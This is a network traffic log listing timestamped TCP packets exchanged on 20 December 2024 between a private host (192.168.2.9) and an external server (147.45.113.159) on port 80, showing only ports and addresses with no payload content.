Dec 20, 2024 17:13:34.954133034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.954813957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.954951048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.954963923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.954997063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.955025911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.955846071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.955979109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.956023932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.956495047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.956666946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.957242012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.957298040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.957636118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.957672119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.958067894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.958080053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.958112001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.958813906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.959614038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.959626913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.959665060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.959716082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.959754944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.960437059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.960449934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.961177111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.961220026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.961464882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.961503029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.961921930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.962197065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.962771893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.962785959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.962810040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.962841988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.963579893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.964344025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.964356899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.964389086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.964442015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.964476109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.965080976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.965524912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.965893984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.965938091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.966058016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.966664076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.966753960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.966764927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.966789961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.967437983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.967684984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.968220949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.968266010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.968863010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.968908072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.969049931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.969063044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.969125032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.969770908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.969928026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.970094919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.970554113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.971126080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.971175909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.971380949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.971520901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.971867085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.972145081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.972347021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.972388029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:34.972987890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.973002911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:34.973064899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.029741049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.029766083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.029850960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.029948950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.030020952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.030097961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.030742884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.030853987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.031546116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.031594992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.032025099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.032067060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.032118082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.032224894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.032520056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.032860041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.033075094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.033814907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.033868074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.034046888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.034089088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.034445047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.034554958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.035268068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.035316944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.035479069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.035514116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.036051989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.036072969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.036814928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.036834955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.036859989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.036886930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.037563086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.037667036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.037708998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.038398027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.038577080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.038619041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.039129972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.039217949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.039940119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.039982080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.040282011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.040323019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.040678978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.041147947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.041450977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.041490078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.041544914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.041599989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.042237997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.042371035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.042427063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.043045044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.043155909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.043812990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.043881893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.044037104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.044078112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.044573069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.044620991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.046120882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.077951908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.078017950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.078085899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.078165054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.078238964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.078283072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.079014063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.079078913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.079767942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.079808950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.079833984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.079868078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.142268896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.142421007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.142517090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.142625093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.142637968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.142688036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.143388987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.143611908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.144140959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.144181013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.145380974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.145427942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.145672083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.145809889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.145822048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.145863056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.146606922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.146651983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.146697998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.147439003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.147450924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.147479057 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.148195982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.148288965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.148329973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.148983002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.149023056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.149312973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.149749994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.149800062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.149843931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.150521040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.150563002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.150724888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.151278973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.151382923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.151426077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.152048111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.152091026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.152460098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.152852058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.152972937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.153014898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.153640032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.153692007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.153764963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.154445887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.154776096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.154814005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.155196905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.155236006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.155275106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.156080961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.156455994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.156502008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.157043934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.157083988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.157207966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.157608986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.157701015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.157741070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.158322096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.158508062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.158551931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.159303904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.159342051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.159622908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.160038948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.160588980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.160634041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.160789967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.160800934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.160832882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.161576986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.161621094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.161709070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.162270069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.162309885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.162353039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.163000107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.163041115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.163317919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.163821936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.163834095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.163880110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.164575100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.164612055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.164865971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.165450096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.165555954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.165610075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.222157001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.222299099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.222382069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.222611904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.222625017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.222680092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.223225117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.223519087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.223588943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.223634005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.224248886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.224288940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.224375010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.225050926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.225605965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.225652933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.225855112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.225894928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.225959063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.226625919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.226850033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.226891994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.227416992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.227457047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.227571011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.228212118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.228907108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.228955030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.229021072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.229042053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.229063034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.229722023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.229969978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.230017900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.230513096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.230720043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.230767965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.231359959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.231404066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.231442928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.232182980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.232369900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.232419968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.233032942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.233074903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.233453035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.233663082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.233782053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.233828068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.234596014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.234733105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.234785080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.235352039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.235393047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.235475063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.236212015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.236417055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.236460924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.237015963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.237057924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.237530947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.270117998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.270181894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.270303011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.270359993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.270395041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.270448923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.271143913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.271210909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.271249056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.271908998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.271943092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.271956921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.312479973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.334522963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.334589958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.334707022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.334798098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.334912062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.335432053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.335489988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.335522890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.335552931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.336211920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.336237907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.337768078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.337831974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.337883949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.337917089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.338160038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.338174105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.338206053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.338886023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.339395046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.339713097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.339725971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.339759111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.339787960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.340472937 CET	80	49711	147.45.113.159	192.168.2.9
